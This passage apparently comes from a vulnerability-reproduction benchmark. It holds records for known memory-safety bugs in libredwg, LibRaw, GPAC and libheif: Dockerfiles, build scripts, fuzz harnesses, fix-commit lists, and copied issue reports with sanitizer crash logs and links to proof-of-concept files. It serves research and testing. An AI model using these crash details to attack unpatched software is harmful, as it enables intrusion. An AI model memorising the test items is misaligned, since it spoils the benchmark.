dwg_read_file ../../src/dwg.c:204 SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) Shadow bytes around the buggy address: 0x0c587fff8dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c587fff8dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c587fff8de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c587fff8df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c587fff8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c587fff8e10: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa 0x0c587fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c587fff8e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c587fff8e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c587fff8e50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c587fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2469==ABORTING ```
[ { "content": "[libfuzzer]\ndetect_leaks=0\n", "filename": "fuzz_dwg_decode.options" } ]
[ { "sha": "6757b07c65742277ae2ff5c9fe32157195726258", "url": "https://github.com/LibreDWG/libredwg/commit/6757b07c65742277ae2ff5c9fe32157195726258" }, { "sha": "d447393a30df70531215e17baa609be5609c8614", "url": "https://github.com/LibreDWG/libredwg/commit/d447393a30df70531215e17baa609be5609c8614" }, { "sha": "6ea3bdb8836e4c9833c78c1a983dab7b2ba88b31", "url": "https://github.com/LibreDWG/libredwg/commit/6ea3bdb8836e4c9833c78c1a983dab7b2ba88b31" }, { "sha": "7fc210259cf00850627cafaad1267d541f69c2b7", "url": "https://github.com/LibreDWG/libredwg/commit/7fc210259cf00850627cafaad1267d541f69c2b7" }, { "sha": "f955c0b8fde285a038befcd173bfb86a636890fc", "url": "https://github.com/LibreDWG/libredwg/commit/f955c0b8fde285a038befcd173bfb86a636890fc" }, { "sha": "185889b5abc6ff68b071758b82cf20be11102326", "url": "https://github.com/LibreDWG/libredwg/commit/185889b5abc6ff68b071758b82cf20be11102326" }, { "sha": "3cf9d1705ff51d6970970ca9e4911c2eab0d338b", "url": "https://github.com/LibreDWG/libredwg/commit/3cf9d1705ff51d6970970ca9e4911c2eab0d338b" }, { "sha": "93c25124c191987af168ace9fe4b5623061874bd", "url": "https://github.com/LibreDWG/libredwg/commit/93c25124c191987af168ace9fe4b5623061874bd" }, { "sha": "5650507fb5065c329984f19ce040fd83bd1a5298", "url": "https://github.com/LibreDWG/libredwg/commit/5650507fb5065c329984f19ce040fd83bd1a5298" }, { "sha": "8e961a8ead7818b72f36bdf9eccd0d330e6ea231", "url": "https://github.com/LibreDWG/libredwg/commit/8e961a8ead7818b72f36bdf9eccd0d330e6ea231" }, { "sha": "69b4132a0591b81fddd30588a67c79fc01e69c52", "url": "https://github.com/LibreDWG/libredwg/commit/69b4132a0591b81fddd30588a67c79fc01e69c52" }, { "sha": "0075d173dbb015b72ed779d6ec7ca016841972f3", "url": "https://github.com/LibreDWG/libredwg/commit/0075d173dbb015b72ed779d6ec7ca016841972f3" }, { "sha": "84d938b1d28d514eead8fdc21e7eec4fdfe053f5", "url": "https://github.com/LibreDWG/libredwg/commit/84d938b1d28d514eead8fdc21e7eec4fdfe053f5" }, { "sha": "3d32e491b912cce17c6b8080b32872b1c11472c3", "url": "https://github.com/LibreDWG/libredwg/commit/3d32e491b912cce17c6b8080b32872b1c11472c3" }, { "sha": "07470ca096ff1587fe3b9a57b8366cfcc043d131", "url": "https://github.com/LibreDWG/libredwg/commit/07470ca096ff1587fe3b9a57b8366cfcc043d131" }, { "sha": "e685e689d05d4b7da9a61e9d0868a65db4f82469", "url": "https://github.com/LibreDWG/libredwg/commit/e685e689d05d4b7da9a61e9d0868a65db4f82469" }, { "sha": "97cc629fbea0d8d81b33ce382214578f3379de09", "url": "https://github.com/LibreDWG/libredwg/commit/97cc629fbea0d8d81b33ce382214578f3379de09" }, { "sha": "529decd91126d9a436ce2d0a84434ed7899be507", "url": "https://github.com/LibreDWG/libredwg/commit/529decd91126d9a436ce2d0a84434ed7899be507" }, { "sha": "8e14a3ee22cc1f96b638ee36c1aba3bbea314687", "url": "https://github.com/LibreDWG/libredwg/commit/8e14a3ee22cc1f96b638ee36c1aba3bbea314687" }, { "sha": "496702e3c2486adae863fd919f20e7a7490c847c", "url": "https://github.com/LibreDWG/libredwg/commit/496702e3c2486adae863fd919f20e7a7490c847c" }, { "sha": "8a75ac27367343e531dd7ee1b61db70edf2e816a", "url": "https://github.com/LibreDWG/libredwg/commit/8a75ac27367343e531dd7ee1b61db70edf2e816a" }, { "sha": "07c078aca71840f0f9a0dffb3032056d043858b0", "url": "https://github.com/LibreDWG/libredwg/commit/07c078aca71840f0f9a0dffb3032056d043858b0" }, { "sha": "12dafc13a96cdaa019f95a6ca245e8b29d1763a5", "url": "https://github.com/LibreDWG/libredwg/commit/12dafc13a96cdaa019f95a6ca245e8b29d1763a5" }, { "sha": "e03b16b603c566c317f7c5161cc7550360081dd0", "url": "https://github.com/LibreDWG/libredwg/commit/e03b16b603c566c317f7c5161cc7550360081dd0" }, { "sha": "92feac9b0dcfe3193d479fc245f95a8d025db4d7", "url": "https://github.com/LibreDWG/libredwg/commit/92feac9b0dcfe3193d479fc245f95a8d025db4d7" }, { "sha": "3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a", "url": "https://github.com/LibreDWG/libredwg/commit/3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a" }, { "sha": "14a3ffe26d4bcd267c42471caebaf21185c16a4c", "url": "https://github.com/LibreDWG/libredwg/commit/14a3ffe26d4bcd267c42471caebaf21185c16a4c" }, { "sha": "d7bdfbc83211fb8732ab12382f2c3bfab51e3480", "url": "https://github.com/LibreDWG/libredwg/commit/d7bdfbc83211fb8732ab12382f2c3bfab51e3480" }, { "sha": "107b5e47f3de5d333405e0a201f495a4a905e96b", "url": "https://github.com/LibreDWG/libredwg/commit/107b5e47f3de5d333405e0a201f495a4a905e96b" }, { "sha": "f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9", "url": "https://github.com/LibreDWG/libredwg/commit/f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9" }, { "sha": "c0bbb7388465800f01683fa90d434026c852f06c", "url": "https://github.com/LibreDWG/libredwg/commit/c0bbb7388465800f01683fa90d434026c852f06c" }, { "sha": "ea93bca48a63ddf70f7df017f2c21f38469a83af", "url": "https://github.com/LibreDWG/libredwg/commit/ea93bca48a63ddf70f7df017f2c21f38469a83af" }, { "sha": "817e586f2bbce42cf9e75e118c1c7feae941669b", "url": "https://github.com/LibreDWG/libredwg/commit/817e586f2bbce42cf9e75e118c1c7feae941669b" }, { "sha": "41ff7afc44babae1236c3587024ee84b57006990", "url": "https://github.com/LibreDWG/libredwg/commit/41ff7afc44babae1236c3587024ee84b57006990" }, { "sha": "55295f939b6a8cfd7a25c40ea780d8c83e67b0db", "url": "https://github.com/LibreDWG/libredwg/commit/55295f939b6a8cfd7a25c40ea780d8c83e67b0db" }, { "sha": "5064790b1bf390807bfa727139e40a3afd85183e", "url": "https://github.com/LibreDWG/libredwg/commit/5064790b1bf390807bfa727139e40a3afd85183e" }, { "sha": "d6f8f351c34c4ad2b9e300a8b0718439467bd55a", "url": "https://github.com/LibreDWG/libredwg/commit/d6f8f351c34c4ad2b9e300a8b0718439467bd55a" }, { "sha": "ba6aa54df0c78bc930b4ec71f72767f1a011d96e", "url": "https://github.com/LibreDWG/libredwg/commit/ba6aa54df0c78bc930b4ec71f72767f1a011d96e" }, { "sha": "b7369a17445f8831582af3708a5e84362b0db536", "url": "https://github.com/LibreDWG/libredwg/commit/b7369a17445f8831582af3708a5e84362b0db536" } ]
libraw.cve-2018-20337
libraw/libraw
e12cae8cbc7c73a7200f6e7621d71e113885ea72
2018-11-22T07:47:32
libraw
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config RUN git clone https://github.com/libraw/libraw libraw RUN git -C libraw checkout e12cae8cbc7c73a7200f6e7621d71e113885ea72 WORKDIR $SRC/libraw COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --disable-examples make -j$(nproc)
/src/libraw
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/LibRaw/LibRaw/issues/192 ## Description: Issue: LibRaw/LibRaw#192 Title: Stack-buffer-overflow bug State: closed Created by: DawnYang-cn Created at: 2018-12-19 02:36:42+00:00 Issue Body: Hello! I am learning AFL-Fuzz recently,and I found a bug in this project. POC is [here](https://github.com/DawnYang-cn/Fuzz-crashes/blob/master/LibRaw_crashes_1) Please confirm Best regards ### Version release 0.19.1 ### Environment gcc (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609 disable-shared ./raw-identify POC ### Information ================================================================= ==95677==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffdcba9ac0 at pc 0x7f04239a06c3 bp 0x7fffdcba9020 sp 0x7fffdcba87c8 WRITE of size 45 at 0x7fffdcba9ac0 thread T0 #0 0x7f04239a06c2 in __interceptor_strncpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x766c2) #1 0x487e28 in LibRaw::parse_makernote(int, int) internal/dcraw_common.cpp:10349 #2 0x499188 in LibRaw::parse_exif(int) internal/dcraw_common.cpp:11857 #3 0x4a9da2 in LibRaw::parse_tiff_ifd(int) internal/dcraw_common.cpp:13262 #4 0x4b5af2 in LibRaw::parse_tiff(int) internal/dcraw_common.cpp:14080 #5 0x4ce14f in LibRaw::identify() internal/dcraw_common.cpp:17781 #6 0x50e4c7 in LibRaw::open_datastream(LibRaw_abstract_datastream*) src/libraw_cxx.cpp:2014 #7 0x507894 in LibRaw::open_file(char const*, long long) src/libraw_cxx.cpp:1052 #8 0x404c16 in main samples/raw-identify.cpp:136 #9 0x7f04223f082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #10 0x4040f8 in _start (/home/dawn/Libraw-asan/LibRaw-0.19.1/bin/raw-identify+0x4040f8) Address 0x7fffdcba9ac0 is located in stack of thread T0 at offset 2448 in frame #0 0x48584d in LibRaw::parse_makernote(int, int) internal/dcraw_common.cpp:10091 This frame has 43 object(s): [32, 33) 'uc' [96, 97) 'uc' [160, 162) 'table_buf_0x0116_len' [224, 226) 'table_buf_0x2010_len' [288, 290) 'table_buf_0x9050_len' [352, 354) 'table_buf_0x9400_len' [416, 418) 'table_buf_0x9402_len' [480, 482) 'table_buf_0x9403_len' [544, 546) 'table_buf_0x9406_len' [608, 610) 'table_buf_0x940c_len' [672, 674) 'table_buf_0x940e_len' [736, 740) 'tag' [800, 804) 'type' [864, 868) 'len' [928, 932) 'save' [992, 996) 'c' [1056, 1064) 'table_buf_0x0116' [1120, 1128) 'table_buf_0x2010' [1184, 1192) 'table_buf_0x9050' [1248, 1256) 'table_buf_0x9400' [1312, 1320) 'table_buf_0x9402' [1376, 1384) 'table_buf_0x9403' [1440, 1448) 'table_buf_0x9406' [1504, 1512) 'table_buf_0x940c' [1568, 1576) 'table_buf_0x940e' [1632, 1648) 'wb' [1696, 1712) 'wb' [1760, 1784) 'oly_lensid' [1824, 1856) 'words' [1888, 1932) 'SamsungKey' [1984, 1986) 'yy' [2048, 2051) 'mm' [2112, 2115) 'dd' [2176, 2184) 'sOlyID' [2240, 2249) 'buffer' [2304, 2314) 'buf' [2368, 2384) 'ystr' [2432, 2448) 'ynum' <== Memory access at offset 2448 overflows this variable [2496, 2513) 'buffer' [2560, 2580) 'LensInfo' [2624, 2688) 'FujiSerial' [2720, 2784) 'tbuf' [2816, 3140) 'buf97' HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow ??:0 __interceptor_strncpy Shadow bytes around the buggy address: 0x10007b96d300: f2 f2 00 00 00 f4 f2 f2 f2 f2 00 00 00 00 f2 f2 0x10007b96d310: f2 f2 00 00 00 00 00 04 f4 f4 f2 f2 f2 f2 02 f4 0x10007b96d320: f4 f4 f2 f2 f2 f2 03 f4 f4 f4 f2 f2 f2 f2 03 f4 0x10007b96d330: f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 01 0x10007b96d340: f4 f4 f2 f2 f2 f2 00 02 f4 f4 f2 f2 f2 f2 00 00 =>0x10007b96d350: f4 f4 f2 f2 f2 f2 00 00[f4]f4 f2 f2 f2 f2 00 00 0x10007b96d360: 01 f4 f2 f2 f2 f2 00 00 04 f4 f2 f2 f2 f2 00 00 0x10007b96d370: 00 00 00 00 00 00 f2 f2 f2 f2 00 00 00 00 00 00 0x10007b96d380: 00 00 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 0x10007b96d390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007b96d3a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 f4 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==95677==ABORTING WRLAB Comments: Comment by LibRaw on 2018-12-19 08:02:26+00:00: Could you please make sure you've tested with LibRaw 0.19.1 (exactly)? The PoC you provide does not traces to parse_makernote() call, it refuses earlier (checked under Windows/64 bit). Meanwhile, ynum_len check is definitely needed in code. --- Comment by LibRaw on 2018-12-19 08:19:07+00:00: Should be fixed by these patches: 0.19: https://github.com/LibRaw/LibRaw/commit/fbf60377c006eaea8d3eca3f5e4c654909dcdfd2 master: https://github.com/LibRaw/LibRaw/commit/b957c2efb6c67c057650cdf03b435dc0cc78c516 Please check and report if it is not --- Comment by DawnYang-cn on 2018-12-19 08:27:23+00:00: Oh,I downloaded this project in the official website yesterday. Now I used the master branch and the asan show information blow. My fault ``` ================================================================= ==22081==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcca14d3b0 at pc 0x7f10cd88d6c3 bp 0x7ffcca14d1b0 sp 0x7ffcca14c958 WRITE of size 45 at 0x7ffcca14d3b0 thread T0 #0 0x7f10cd88d6c2 in __interceptor_strncpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x766c2) #1 0x482a4b in LibRaw::parseFujiMakernotes(unsigned int, unsigned int, unsigned int, unsigned int) internal/dcraw_common.cpp:9585 #2 0x49c8e5 in LibRaw::parse_makernote(int, int) internal/dcraw_common.cpp:11901 #3 0x4a4962 in LibRaw::parse_exif(int) internal/dcraw_common.cpp:12563 #4 0x4b2209 in LibRaw::parse_tiff_ifd(int) internal/dcraw_common.cpp:13772 #5 0x4bc9a0 in LibRaw::parse_tiff(int) internal/dcraw_common.cpp:14505 #6 0x4d61dd in LibRaw::identify() internal/dcraw_common.cpp:18365 #7 0x519533 in LibRaw::open_datastream(LibRaw_abstract_datastream*) src/libraw_cxx.cpp:2112 #8 0x511c6e in LibRaw::open_file(char const*, long long) src/libraw_cxx.cpp:1099 #9 0x404c1e in main samples/raw-identify.cpp:142 #10 0x7f10cc53482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #11 0x403ed8 in _start (/home/wind/libraw_fuzz_new/as_libraw/LibRaw-master/bin/raw-identify+0x403ed8) Address 0x7ffcca14d3b0 is located in stack of thread T0 at offset 432 in frame #0 0x482467 in LibRaw::parseFujiMakernotes(unsigned int, unsigned int, unsigned int, unsigned int) internal/dcraw_common.cpp:9556 This frame has 9 object(s): [32, 36) 'c' [96, 128) 'words' [160, 162) 'yy' [224, 227) 'mm' [288, 291) 'dd' [352, 368) 'ystr' [416, 432) 'ynum' <== Memory access at offset 432 overflows this variable [480, 544) 'FujiSerial' [576, 640) 'tbuf' HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow ??:0 __interceptor_strncpy Shadow bytes around the buggy a ``` --- Comment by fgeek on 2018-12-23 05:08:02+00:00: @DawnYang-cn you might want to quote program output text. See https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet#code "Blocks of code are either fenced by lines with three back-ticks". Thanks for your efforts! --- Comment by DawnYang-cn on 2018-12-26 06:43:05+00:00: I got that! Thank you! @fgeek Commit References: b957c2efb6c67c057650cdf03b435dc0cc78c516 fbf60377c006eaea8d3eca3f5e4c654909dcdfd2
[ { "content": "/* Copyright 2020 Google Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n#include <stddef.h>\n#include <stdint.h>\n\n#include <string>\n\n#include <libraw.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n // Input less than 10mb\n if (size > 10000000) {\n return 0;\n }\n\n LibRaw lib_raw;\n\n int result = lib_raw.open_buffer(\n const_cast<char*>(reinterpret_cast<const char*>(data)), size);\n if (result != LIBRAW_SUCCESS) {\n return 0;\n }\n\n result = lib_raw.unpack();\n if (result != LIBRAW_SUCCESS) {\n return 0;\n }\n\n result = lib_raw.dcraw_process();\n if (result != LIBRAW_SUCCESS) {\n return 0;\n }\n\n return 0;\n}\n", "filename": "libraw_fuzzer.cc" } ]
[ { "sha": "fbf60377c006eaea8d3eca3f5e4c654909dcdfd2", "url": "https://github.com/LibRaw/LibRaw/commit/fbf60377c006eaea8d3eca3f5e4c654909dcdfd2" }, { "sha": "b957c2efb6c67c057650cdf03b435dc0cc78c516", "url": "https://github.com/LibRaw/LibRaw/commit/b957c2efb6c67c057650cdf03b435dc0cc78c516" }, { "sha": "5d926cb379759c30f6f8e2fd23db6389b69772d8", "url": "https://github.com/LibRaw/LibRaw/commit/5d926cb379759c30f6f8e2fd23db6389b69772d8" }, { "sha": "63940de3a63d904fb3a2c7675c10271d5e6ec7c4", "url": "https://github.com/LibRaw/LibRaw/commit/63940de3a63d904fb3a2c7675c10271d5e6ec7c4" }, { "sha": "a53f7d6c64751a0ec9022e0c15f261d7523b4709", "url": "https://github.com/LibRaw/LibRaw/commit/a53f7d6c64751a0ec9022e0c15f261d7523b4709" }, { "sha": "0090a78a6c28a4d2a908f42c5e1a5c9d410f3a71", "url": "https://github.com/LibRaw/LibRaw/commit/0090a78a6c28a4d2a908f42c5e1a5c9d410f3a71" }, { "sha": "c5a05ee8df9a9b0c9dcd5cd742586a436b76480d", "url": "https://github.com/LibRaw/LibRaw/commit/c5a05ee8df9a9b0c9dcd5cd742586a436b76480d" }, { "sha": "539d07dcaa64aed706c5bb4ada7213e3e1cd07d6", "url": "https://github.com/LibRaw/LibRaw/commit/539d07dcaa64aed706c5bb4ada7213e3e1cd07d6" }, { "sha": "a8ca7e494293bb88529c6238d1f4e5f67453fa3e", "url": "https://github.com/LibRaw/LibRaw/commit/a8ca7e494293bb88529c6238d1f4e5f67453fa3e" }, { "sha": "e70ded8b0bc231f7ed3fd5d2e83d61bd18ef5e94", "url": "https://github.com/LibRaw/LibRaw/commit/e70ded8b0bc231f7ed3fd5d2e83d61bd18ef5e94" }, { "sha": "6e647a5f995f2cc639702dbb415cb3b11fb4ba2e", "url": "https://github.com/LibRaw/LibRaw/commit/6e647a5f995f2cc639702dbb415cb3b11fb4ba2e" }, { "sha": "972a4ff7f4e19714aa6cf8d1f840c0eb87732c42", "url": "https://github.com/LibRaw/LibRaw/commit/972a4ff7f4e19714aa6cf8d1f840c0eb87732c42" }, { "sha": "44f6f2d1f417a552e48123e09c5837f09336efe8", "url": "https://github.com/LibRaw/LibRaw/commit/44f6f2d1f417a552e48123e09c5837f09336efe8" }, { "sha": "7f7a9387f365ef6f5052f623039bd72ea3f74a55", "url": "https://github.com/LibRaw/LibRaw/commit/7f7a9387f365ef6f5052f623039bd72ea3f74a55" } ]
gpac.cve-2020-23932
gpac/gpac
9eeac00b38348c664dfeae2525bba0cf1bc32349
2020-09-01T09:46:07
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout 9eeac00b38348c664dfeae2525bba0cf1bc32349 WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/gpac/gpac/issues/1566 ## Description: Issue: gpac/gpac#1566 Title: A Segmentation fault in filedump.c:1627 State: closed Created by: seviezhou Created at: 2020-08-07 03:10:20+00:00 Issue Body: ## System info Ubuntu x86_64, gcc (Ubuntu 5.5.0-12ubuntu1), MP4Box (latest master [2aa266](https://github.com/gpac/gpac/commit/2aa266dfaab6aaad9f9f4f216ad7d1e62adc7fa0)) ## Configure CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --static-mp4box ## Command line ./bin/gcc/MP4Box -sdp -ttxt -2 -dump-chap-ogg -dump-cover -drtp -bt -out /dev/null @@ ## Output ``` Scene loaded - dumping root scene Exporting MPEG-4 AAC Audio - SampleRate 44100 2 channels 16 bits per sample Segmentation fault (core dumped) ``` ## AddressSanitizer output ``` ASAN:SIGSEGV ================================================================= ==31981==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f1269c005a1 bp 0x000000000000 sp 0x7fffad3ba678 T0) #0 0x7f1269c005a0 (/lib/x86_64-linux-gnu/libc.so.6+0x18e5a0) #1 0x7f1269af1204 in fputs (/lib/x86_64-linux-gnu/libc.so.6+0x7f204) #2 0x55eb9834073a in dump_isom_sdp /home/seviezhou/gpac/applications/mp4box/filedump.c:1627 #3 0x55eb98311eb3 in mp4boxMain /home/seviezhou/gpac/applications/mp4box/main.c:5533 #4 0x7f1269a93b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #5 0x55eb982eff09 in _start (/home/seviezhou/gpac/bin/gcc/MP4Box+0x27ff09) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ??:0 ?? ==31981==ABORTING ``` ## POC [SEGV-dump_isom_sdp-filedump-1627.zip](https://github.com/gpac/gpac/files/5039113/SEGV-dump_isom_sdp-filedump-1627.zip) Attachments: https://github.com/gpac/gpac/files/5039113/SEGV-dump_isom_sdp-filedump-1627.zip Commit References: 2aa266dfaab6aaad9f9f4f216ad7d1e62adc7fa0
[ { "content": "/* Copyright 2021 Google LLC\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n#include <stdio.h>\n#include <unistd.h>\n\n#include <gpac/internal/isomedia_dev.h>\n#include <gpac/constants.h>\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char filename[256];\n sprintf(filename, \"/tmp/libfuzzer.%d\", getpid());\n\n FILE *fp = fopen(filename, \"wb\");\n if (!fp) {\n return 0;\n }\n fwrite(data, size, 1, fp);\n fclose(fp);\n\n GF_ISOFile *movie = NULL;\n movie = gf_isom_open_file(filename, GF_ISOM_OPEN_READ_DUMP, NULL);\n if (movie != NULL) {\n gf_isom_close(movie);\n }\n unlink(filename);\n return 0;\n}\n", "filename": "fuzz_parse.c" } ]
[ { "sha": "ce01bd15f711d4575b7424b54b3a395ec64c1784", "url": "https://github.com/gpac/gpac/commit/ce01bd15f711d4575b7424b54b3a395ec64c1784" }, { "sha": "2aa266dfaab6aaad9f9f4f216ad7d1e62adc7fa0", "url": "https://github.com/gpac/gpac/commit/2aa266dfaab6aaad9f9f4f216ad7d1e62adc7fa0" } ]
libheif.cve-2024-41311
strukturag/libheif
e382107736f987fa30faeaa06543eeec72a85dd1
2024-07-08T03:51:42
libheif
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y autoconf automake build-essential cmake libtool make mercurial pkg-config yasm RUN git clone https://github.com/strukturag/libheif libheif RUN git -C libheif checkout e382107736f987fa30faeaa06543eeec72a85dd1 WORKDIR $SRC/libheif COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu export DEPS_PATH=$SRC/deps mkdir -p $DEPS_PATH cd $SRC/x265/build/linux cmake -G "Unix Makefiles" \ -DCMAKE_C_COMPILER=$CC -DCMAKE_CXX_COMPILER=$CXX \ -DCMAKE_C_FLAGS="$CFLAGS" -DCMAKE_CXX_FLAGS="$CXXFLAGS" \ -DCMAKE_INSTALL_PREFIX="$DEPS_PATH" \ -DENABLE_SHARED:bool=off \ ../../source make clean -j$(nproc) make -j$(nproc) x265-static make install -j$(nproc) cd $SRC/libde265 ./autogen.sh ./configure \ --prefix="$DEPS_PATH" \ --disable-shared \ --enable-static \ --disable-dec265 \ --disable-sherlock265 \ --disable-hdrcopy \ --disable-enc265 \ --disable-acceleration_speed make -j$(nproc) mkdir -p $SRC/aom/build/linux cd $SRC/aom/build/linux -DENABLE_SHARED:bool=off -DCONFIG_PIC=1 \ -DENABLE_EXAMPLES=0 -DENABLE_DOCS=0 -DENABLE_TESTS=0 \ -DCONFIG_SIZE_LIMIT=1 \ -DDECODE_HEIGHT_LIMIT=12288 -DDECODE_WIDTH_LIMIT=12288 \ -DDO_RANGE_CHECK_CLAMP=1 \ -DAOM_MAX_ALLOCABLE_MEMORY=536870912 \ -DAOM_TARGET_CPU=generic \ ../../ cd $SRC/libheif mkdir -p build cd build cmake .. --preset=fuzzing \ -DFUZZING_COMPILE_OPTIONS="" \ -DFUZZING_LINKER_OPTIONS="$LIB_FUZZING_ENGINE" \ -DFUZZING_C_COMPILER=$CC -DFUZZING_CXX_COMPILER=$CXX \ -DWITH_DEFLATE_HEADER_COMPRESSION=OFF
/src/libheif
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/strukturag/libheif/issues/1226 ## Description: Issue: strukturag/libheif#1226 Title: OOB Read/Write in `HeifPixelImage::overlay()` State: closed Created by: flyyee Created at: 2024-07-07 09:16:35+00:00 Issue Body: ## Overview Due to insufficient validation of image overlay offset values, it is possible to OOB read & write in `HeifPixelImage::overlay()`. ## Reproduction This vulnerability exists on both master (7c9729ea8d0f319ab423f8e4e6de121fd78596d0) and develop-v1.18.0 (44a9705568a18955230ad9d2b5de4d2682dd50f9). ``` git clone https://github.com/strukturag/libheif.git cd libheif mkdir build && cd build CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" cmake .. make -j # OOB read examples/heif-info poc_oob_read.heic # OOB write examples/heif-info poc_oob_write.heic ``` Download from google drive: [poc_oob_read.heic](https://drive.google.com/file/d/1oo69R3N4luXzCcXeJYtL-v11KGFYHq57/view?usp=sharing) [poc_oob_write.heic](https://drive.google.com/file/d/1nnTP4GGB7K1CQJDzeLybHlWwoVpwYuT4/view?usp=sharing) ### Asan logs OOB read: ``` ==169466==ERROR: AddressSanitizer: negative-size-param: (size=-2147482208) #0 0x7ffff76053ff in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 #1 0x7ffff73b61e0 in HeifPixelImage::overlay(std::shared_ptr<HeifPixelImage>&, int, int) (clean_build/libheif/build/libheif/libheif.so.1+0x1b61e0) #2 0x7ffff733cabc in HeifContext::decode_overlay_image(unsigned int, std::shared_ptr<HeifPixelImage>&, std::vector<unsigned char, std::allocator<unsigned char> > const&, heif_decoding_options const&) const (clean_build/libheif/build/libheif/libheif.so.1+0x13cabc) #3 0x7ffff7333f60 in HeifContext::decode_image_planar(unsigned int, std::shared_ptr<HeifPixelImage>&, heif_colorspace, heif_decoding_options const&, bool) const (clean_build/libheif/build/libheif/libheif.so.1+0x133f60) #4 0x7ffff7331450 in HeifContext::decode_image_user(unsigned int, std::shared_ptr<HeifPixelImage>&, heif_colorspace, heif_chroma, heif_decoding_options const&) const (clean_build/libheif/build/libheif/libheif.so.1+0x131450) #5 0x7ffff72eb0d9 in heif_decode_image (clean_build/libheif/build/libheif/libheif.so.1+0xeb0d9) #6 0x5555555625f2 in main (clean_build/libheif/build/examples/heif-info+0xe5f2) #7 0x7ffff6ccdd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #8 0x7ffff6ccde3f in __libc_start_main_impl 